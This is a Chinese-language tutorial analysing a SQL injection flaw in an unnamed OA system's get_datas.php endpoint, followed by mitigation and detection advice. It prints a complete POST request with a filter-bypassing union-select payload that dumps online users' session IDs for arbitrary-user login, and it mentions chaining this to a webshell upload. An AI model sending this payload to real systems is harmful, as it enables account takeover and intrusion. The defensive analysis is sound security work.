某OA-SQL注入
字数 1240 2025-08-09 22:00:46
某OA系统SQL注入漏洞分析与利用教学文档
1. 漏洞概述
1.1 漏洞特征
- 通过构造特殊SQL注入语句绕过防护
- 可查询在线用户Session记录
- 可实现任意用户登录
- 可配合任意文件上传漏洞上传webshell
1.2 漏洞原理
- 位于
get_datas.php文件中的SQL语句变量可控 - 攻击者可利用此漏洞获取在线用户的Session值
- 系统未对用户输入进行充分过滤和验证
2. 漏洞位置
- 漏洞文件路径:
/general/reportshop/utils/get_datas.php - 关键参数:
USER_ID、PASSWORD、col、tab
3. 漏洞利用方法
3.1 获取Session步骤
- 使用POST方式访问目标URL
- 构造特殊Payload:
POST /general/reportshop/utils/get_datas.php HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
USER_ID=OfficeTask&PASSWORD=&col=1,1&tab=5 where 1={`\= '`1} union (select uid,sid from user_online where 1\={`=`1})-- '1
- 服务器响应中将包含在线用户的uid和sid(Session ID)
3.2 任意用户登录
- 从响应中提取有效的Session ID
- 访问
general/index.php - 替换请求中的Session值为获取到的有效Session
- 成功以该用户身份登录系统
4. 漏洞验证与复现
4.1 复现准备
- 要求管理员正常登录系统并保持会话
- 准备Burp Suite等工具进行测试
4.2 复现步骤
- 使用Burp Suite拦截请求
- 构造并发送上述Payload
- 获取响应中的Session值
- 使用错误Session测试登录(验证防护)
- 使用正确Session测试登录(验证漏洞)
5. 漏洞分析
5.1 注入技术分析
- 使用特殊字符
{}\=等进行绕过 - 利用联合查询(union select)获取user_online表中的敏感信息
- 注释符
--用于截断后续SQL语句
5.2 攻击链分析
- 通过SQL注入获取有效Session
- 使用Session实现身份伪造
- 配合其他漏洞(如文件上传)获取持久化访问
6. 防御措施
6.1 临时缓解措施
- 监控
/general/reportshop/utils/get_datas.php的访问 - 检查日志中是否包含类似注入Payload
- 限制该接口的访问权限
6.2 长期修复方案
- 对用户输入进行严格过滤和验证
- 使用预编译语句(Prepared Statement)替代动态SQL
- 实施最小权限原则,限制数据库账户权限
- 对Session机制进行加固,增加绑定IP等验证
7. 检测与监控
7.1 检测方法
- 监控SQL注入常见特征字符
- 检查异常Session使用情况
- 分析
user_online表的异常查询
7.2 监控建议
- 对关键SQL查询实施日志记录
- 建立异常访问行为基线
- 实施实时告警机制
8. 总结
该漏洞利用OA系统中一个未充分过滤的SQL查询接口,通过精心构造的Payload绕过常规防护措施,获取在线用户Session实现任意用户登录。漏洞危害性高,可导致系统完全沦陷。修复时应从输入验证、权限控制和Session管理等多方面进行加固。